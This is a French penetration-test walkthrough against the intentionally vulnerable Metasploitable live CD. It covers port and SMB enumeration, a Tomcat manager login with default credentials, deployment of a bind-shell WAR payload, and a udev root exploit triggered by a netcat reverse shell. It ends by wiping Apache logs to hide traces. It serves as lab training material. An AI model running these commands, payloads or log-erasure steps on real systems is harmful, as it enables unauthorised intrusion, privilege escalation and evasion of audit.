Démonstration
Pour cette petite démonstration je vais utiliser une distribution linux livecd faillible.
Pour ne pas faire trop compliqué j'ai décidé d'utiliser le livecd metasploitable,
crée spécialement pour l'apprentissage de l'utilisation de metasploit, cependant
nous allons faire ce test d'intrusion sans utiliser metasploit (juste msfpayload)
Collecte d'informations active:
Enumeration des Ports et Services:
root@St0rn:~# nmap -sS -sV -Pn 192.168.178.52 Starting Nmap 6.47 ( http://nmap.org ) at 2014-09-17 21:12 CEST Nmap scan report for 192.168.178.52 Host is up (0.019s latency). Not shown: 988 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.1 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 MAC Address: 08:00:27:06:61:3E (Cadmus Computer Systems) Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds
Nous pouvons voir pas mal de choses intéressantes sur ce scan nmap, notament:
- Serveur Samba
- Serveur MySQL
- Serveur PostgreSQL
- Apache Tomcat
Enumeration du serveur SMB:
root@St0rn:~# enum4linux 192.168.178.52 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Sep 17 21:14:17 2014 [...] =========================================== | Share Enumeration on 192.168.178.52 | =========================================== Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) Server Comment --------- ------- METASPLOITABLE metasploitable server (Samba 3.0.20-Debian) Workgroup Master --------- ------- WORKGROUP METASPLOITABLE [+] Attempting to map shares on 192.168.178.52 //192.168.178.52/print$ Mapping: DENIED, Listing: N/A //192.168.178.52/tmp Mapping: OK, Listing: OK //192.168.178.52/opt Mapping: DENIED, Listing: N/A //192.168.178.52/IPC$ [E] Can't understand response: Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] NT_STATUS_NETWORK_ACCESS_DENIED listing \* //192.168.178.52/ADMIN$ Mapping: DENIED, Listing: N/A [...]
Nous pouvons voir que la version de samba est 3.0.20 mais nous pouvons aussi constater que le serveur à le répertoire /tmp en partage
utilisable via une Null Session.
Essayons tout de suite de nous y connecter..
root@St0rn:~/exploit/linux# smbclient \\\\192.168.178.52\\tmp Enter root's password: Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] smb: \> ls . D 0 Wed Sep 17 21:57:20 2014 .. DR 0 Wed Apr 28 23:25:52 2010 .ICE-unix DH 0 Wed Sep 17 20:24:20 2014 .X11-unix DH 0 Wed Sep 17 20:24:20 2014 4857.jsvc_up R 0 Wed Sep 17 20:27:39 2014 56891 blocks of size 131072. 44955 blocks available smb: \>
Ça fonctionne, essayon toute suite de crée puis de supprimer un dossier
smb: \> mkdir test smb: \> ls . D 0 Wed Sep 17 21:58:11 2014 .. DR 0 Wed Apr 28 23:25:52 2010 .ICE-unix DH 0 Wed Sep 17 20:24:20 2014 .X11-unix DH 0 Wed Sep 17 20:24:20 2014 4857.jsvc_up R 0 Wed Sep 17 20:27:39 2014 test D 0 Wed Sep 17 21:58:11 2014 56891 blocks of size 131072. 44955 blocks available smb: \> rmdir test smb: \> ls . D 0 Wed Sep 17 21:58:15 2014 .. DR 0 Wed Apr 28 23:25:52 2010 .ICE-unix DH 0 Wed Sep 17 20:24:20 2014 .X11-unix DH 0 Wed Sep 17 20:24:20 2014 4857.jsvc_up R 0 Wed Sep 17 20:27:39 2014 56891 blocks of size 131072. 44955 blocks available smb: \>
Sans avoir encore de réel porte d'entrée nous avons déjà un moyen de transférer des fichiers, ce qui nous aidera par la suite.
Nous avons également la possibilité de crée un symlink d'un dossier, mais dans notre cas, c'est inutile.
Recherche d'exploits:
Samba 3.0.20:
root@St0rn:~# searchsploit Samba 3.0.20 Description Path --------------------------------------------------------- ---------------------------------- Samba < 3.0.20 - Remote Heap Overflow Exploit | /linux/remote/7701.txt
Apache Tomcat 5.5:
root@St0rn:~# searchsploit tomcat manager Description Path --------------------------------------------------------- ---------------------------------- Apache Tomcat Manager Application Deployer Authenticated | /multiple/remote/16317.rb Apache Tomcat <= 6.0.13 Host Manager Servlet Cross Site | /multiple/remote/30495.html Apache Tomcat Manager - Application Upload Authenticated | /multiple/remote/31433.rb
Exploitation:
Pour cette démonstration, je vais concentrer mon choix sur la faille de Tomcat, car je la trouve plus intéressante pour
une démonstration.
root@St0rn:~# iceweasel 192.168.178.52:8180
Comme nous savons que nous pouvons déployer des application via le manager de Tomcat, nous nous y rendons.
Nous tombons sur un htaccess qui nous demande un login et un password, vérifions via google s'il existe
des couple login:password par défaut.
On test tomcat:tomcat et on a accès au manager de tomcat.
On s'aperçoit que l'ont a la possibilité de déployer des fichier .war, heuresement msfpayload nous donne la possibilité
d'en générer.
root@St0rn:~# msfpayload linux/x86/shell_bind_tcp LPORT=1337 w > /root/Desktop/payloads/bind_shell.war Created by msfpayload (http://www.metasploit.com). Payload: linux/x86/shell_bind_tcp Length: 78 Options: {"LPORT"=>"1337"}
Pour vérifier que notre "archive" est correcte et pour connaitre le nom (aléatoire) que msfpayload a donné au shell décompressons le.
root@St0rn:~# jar -xvf /root/Desktop/payloads/bind_shell.war créée: META-INF/ décompressée: META-INF/MANIFEST.MF créée: WEB-INF/ décompressée: WEB-INF/web.xml décompressée: ypwxlrpzrmm.jsp décompressée: fNLLzjkChFbrXxc.txt
Notre shell à donc pour nom "ypwxlrpzrmm.jsp", passons au déploiement de notre fichier war.
Et on valide
Maintenant on exécute le shell
root@St0rn:~# iceweasel 192.168.178.52:8180/bind_shell/ypwxlrpzrmm.jsp
On se connecte maintenant au port 1337.
root@St0rn:~# nc 192.168.178.52 1337 id uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)
Nous somme entrée, on va juste avant toute chose, lancer un petit onliner python pour avoir /bin/bash
root@St0rn:~# nc 192.168.178.52 1337 id uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup) python -c 'import pty;pty.spawn("/bin/bash")' tomcat55@metasploitable:/$
Beaucoup mieux comme ça n'est-il pas?
Mais tout n'est pas terminé, nous avons accès au serveur en tant que tomcat55 et c'est le compte root que nous recherchons.
Nous devons trouver un moyen de le devenir et la première chose à faire est de trouver la version du kernel.
tomcat55@metasploitable:/$ uname -a uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux tomcat55@metasploitable:/$
Nous avons affaire à un noyau 2.6, cherchons encore un peu pour préciser la recherche d'un possible exploit.
Nous pouvons également afficher la liste des processus.
tomcat55@metasploitable:/$ ps -aux ps -aux Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND [...] root 2623 0.0 0.2 2224 668 ? S<s 14:23 0:03 /sbin/udevd --d root 2918 0.0 0.0 0 0 ? S< 14:23 0:00 [kpsmoused] dhcp 3929 0.0 0.2 2436 544 ? S<s 14:24 0:00 dhclient3 -e IF root 4009 0.0 0.0 0 0 ? S< 14:24 0:00 [kjournald] root 4349 0.0 0.2 1716 516 tty4 Ss+ 14:24 0:00 /sbin/getty 384 root 4350 0.0 0.2 1716 516 tty5 Ss+ 14:24 0:00 /sbin/getty 384 root 4356 0.0 0.1 1716 508 tty2 Ss+ 14:24 0:00 /sbin/getty 384 root 4357 0.0 0.2 1716 516 tty3 Ss+ 14:24 0:00 /sbin/getty 384 root 4359 0.0 0.2 1716 512 tty6 Ss+ 14:24 0:00 /sbin/getty 384 syslog 4398 0.0 0.2 1936 652 ? Ss 14:24 0:00 /sbin/syslogd - root 4417 0.0 0.2 1872 540 ? S 14:24 0:00 /bin/dd bs 1 if klog 4419 0.0 0.7 3152 2032 ? Ss 14:24 0:01 /sbin/klogd -P bind 4442 0.0 3.1 35668 8008 ? Ssl 14:24 0:00 /usr/sbin/named root 4464 0.0 0.4 5312 1024 ? Ss 14:24 0:00 /usr/sbin/sshd root 4520 0.0 0.2 1772 524 ? S 14:24 0:00 /bin/sh /usr/bi mysql 4562 0.1 6.7 127800 17172 ? Sl 14:24 0:07 /usr/sbin/mysql root 4563 0.0 0.2 1700 552 ? S 14:24 0:00 logger -p daemo postgres 4650 0.1 1.9 41324 5036 ? S 14:24 0:06 /usr/lib/postgr postgres 4653 0.0 0.5 41324 1376 ? Ss 14:24 0:02 postgres: write postgres 4654 0.0 0.4 41324 1188 ? Ss 14:24 0:01 postgres: wal w postgres 4655 0.0 0.5 41324 1380 ? Ss 14:24 0:00 postgres: autov postgres 4656 0.0 0.4 12644 1128 ? Ss 14:24 0:00 postgres: stats daemon 4676 0.0 0.1 2316 424 ? SNs 14:24 0:00 distccd --daemo daemon 4677 0.0 0.0 2316 216 ? SN 14:24 0:00 distccd --daemo daemon 4739 0.0 0.0 2316 216 ? SN 14:24 0:00 distccd --daemo root 4742 0.0 0.6 5396 1732 ? Ss 14:24 0:00 /usr/lib/postfi postfix 4747 0.0 0.6 5404 1652 ? S 14:24 0:00 pickup -l -t fi postfix 4748 0.0 0.6 5444 1688 ? S 14:24 0:00 qmgr -l -t fifo [...] tomcat55 5190 0.1 0.9 3960 2472 ? S 15:41 0:00 python -c impor tomcat55 5191 0.0 0.6 3328 1752 pts/0 Ss 15:41 0:00 /bin/bash tomcat55 5200 0.0 0.3 2364 924 pts/0 R+ 15:46 0:00 ps -aux tomcat55@metasploitable:/$
Nous voyons que plusieurs services sont lancés, commençons nos recherches par udevd et la version de notre kernel (2.6)
root@St0rn:~/exploit/linux# searchsploit linux 2.6 udev Description Path --------------------------------------------------------- ---------------------------------- Linux Kernel 2.6 - UDEV Local Privilege Escalation Explo | /linux/local/8478.sh Linux Kernel 2.6 UDEV < 141 - Local Privilege Escalation | /linux/local/8572.c
Regardon un peu le code source de 8572.c afin de voir comment il fonctionne
root@St0rn:~/exploit/linux# cat $(locate /linux/local/8572.c)
Pour vous épargner les détails de traduction, nous devon crée un fichier run dans le repertoire /tmp et y placer une commande bash
que l'exploit va éxécuter et nous devons aussi lui donner le PID du processus udevd - 1
Nous compilons l'exploit
En ce qui concerne la commande bash, nous allons utiliser une simple back connexion via netcat en redirigeant les
I/O de /bin/sh
tomcat55@metasploitable:/$ cd /tmp cd /tmp tomcat55@metasploitable:/tmp$ echo "#!/bin/sh" > run echo "#!/bin/sh" > run tomcat55@metasploitable:/tmp$ echo "nc 192.168.178.48 4444 -e /bin/sh" >> run echo "nc 192.168.178.48 4444 -e /bin/sh" >> run tomcat55@metasploitable:/tmp$ cat run cat run #!/bin/sh nc 192.168.178.48 4444 -e /bin/sh
Maintenant nous allons exploiter la mise en partage du repertoire /tmp pour transférer notre exploit sur le serveur
smb: \> put 8572 putting file 8572 as \8572 (438,5 kb/s) (average 438,5 kb/s)
Il est maintenant sur le serveur, mais nous n'avons pas les droit d'exécution via notre shell
tomcat55@metasploitable:/tmp$ ls -l 8572 ls -l 8572 -rwxr--r-- 1 nobody nogroup 6735 Sep 17 16:00 8572
Pas de panique j'ai trouvé une parade, l'éxécution nous est interdit mais depuis notre Null Session nous pouvons éxécuter
un chmod 777 qui nous donnera la permission ici de copier l'exploit afin de pouvoir l'executer
Via la Null Session:
smb: \> chmod 777 8572
Retour a notre shell:
tomcat55@metasploitable:/tmp$ cp 8572 sploit cp 8572 sploit tomcat55@metasploitable:/tmp$ ls -l sploit ls -l sploit -rwxr--r-- 1 tomcat55 nogroup 6735 Sep 17 16:04 sploit
Nous avons maintenant les droits sur le fichier.
Mais avant de l'éxécuter il nous faut le PID de udev (on y soustrait -1 comme dit en commentaire dans le code source)
tomcat55@metasploitable:/tmp$ ps -aux | grep udevd ps -aux | grep udevd Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html root 2623 0.0 0.2 2224 668 ? S<s 14:23 0:03 /sbin/udevd --daemon tomcat55 5238 0.0 0.2 1788 580 pts/0 S+ 16:05 0:00 grep udevd
Le PID de udevd est 2623 on à donc en y retirant -1 2622.
Préparons nous à recevoir la connexion
root@St0rn:~/exploit/linux# nc -lvp 4444 listening on [any] 4444 ...
Lançons maintenant notre exploit et voyant si nous avons un /bin/sh avec les droits root
tomcat55@metasploitable:/tmp$ ./sploit 2622 ./sploit 2622
Retournont voir du côté de netcat
root@St0rn:~/exploit/linux# nc -lvp 4444 listening on [any] 4444 ... 192.168.178.52: inverse host lookup failed: Unknown server error : Connection timed out connect to [192.168.178.48] from (UNKNOWN) [192.168.178.52] 41453 python -c 'import pty;pty.spawn("/bin/bash")' root@metasploitable:/# id id uid=0(root) gid=0(root) root@metasploitable:/#
Nous avons maintenant un accès root et avons compromis completement la machine
Maintient d'accés:
Nous n'allons pas, ici, faire de maintient d'accès vu que la machine vulnérable est un live cd.
Nettoyage des traces:
Commençons par effacer toute trace de nos programmes
root@metasploitable:/# cd /tmp cd /tmp root@metasploitable:/tmp# rm * rm * root@metasploitable:/tmp# ls ls
Nous somme passé par un site, il serait de bon ton de supprimer les logs apache
root@metasploitable:/var/log/apache2# ls ls access.log error.log error.log.1 root@metasploitable:/var/log/apache2# cat access.log cat access.log [...] 192.168.178.48 - - [17/Sep/2014:12:00:58 -0400] "GET / HTTP/1.0" 200 45 "-" "-" 192.168.178.48 - - [17/Sep/2014:12:31:50 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140723 Firefox/24.0 Iceweasel/24.7.0" 192.168.178.48 - - [17/Sep/2014:12:31:51 -0400] "GET /favicon.ico HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140723 Firefox/24.0 Iceweasel/24.7.0" 192.168.178.48 - - [17/Sep/2014:12:31:51 -0400] "GET /favicon.ico HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140723 Firefox/24.0 Iceweasel/24.7.0" 192.168.178.48 - - [17/Sep/2014:15:10:20 -0400] "GET / HTTP/1.0" 200 45 "-" "-"
Comme vous pouvez le remarquer, nous somme lister dans le fichier access.log, on le vide
root@metasploitable:/var/log/apache2# echo " " > access.log echo " " > access.log root@metasploitable:/var/log/apache2# cat access.log cat access.log root@metasploitable:/var/log/apache2# cat error.log cat error.log [...] [Wed Sep 17 12:31:51 2014] [error] [client 192.168.178.48] File does not exist: /var/www/favicon.ico [Wed Sep 17 12:31:51 2014] [error] [client 192.168.178.48] File does not exist: /var/www/favicon.ico [...]
Nous somme également lister dans error.log
root@metasploitable:/var/log/apache2# echo " " > error.log echo " " > error.log root@metasploitable:/var/log/apache2# echo " " > error.log.1 echo " " > error.log.1
Cette petite démonstration est terminé, j'éspére qu'elle aura su vous montré comment nous pouvont éxécuter un test de penetration
complet d'une machine.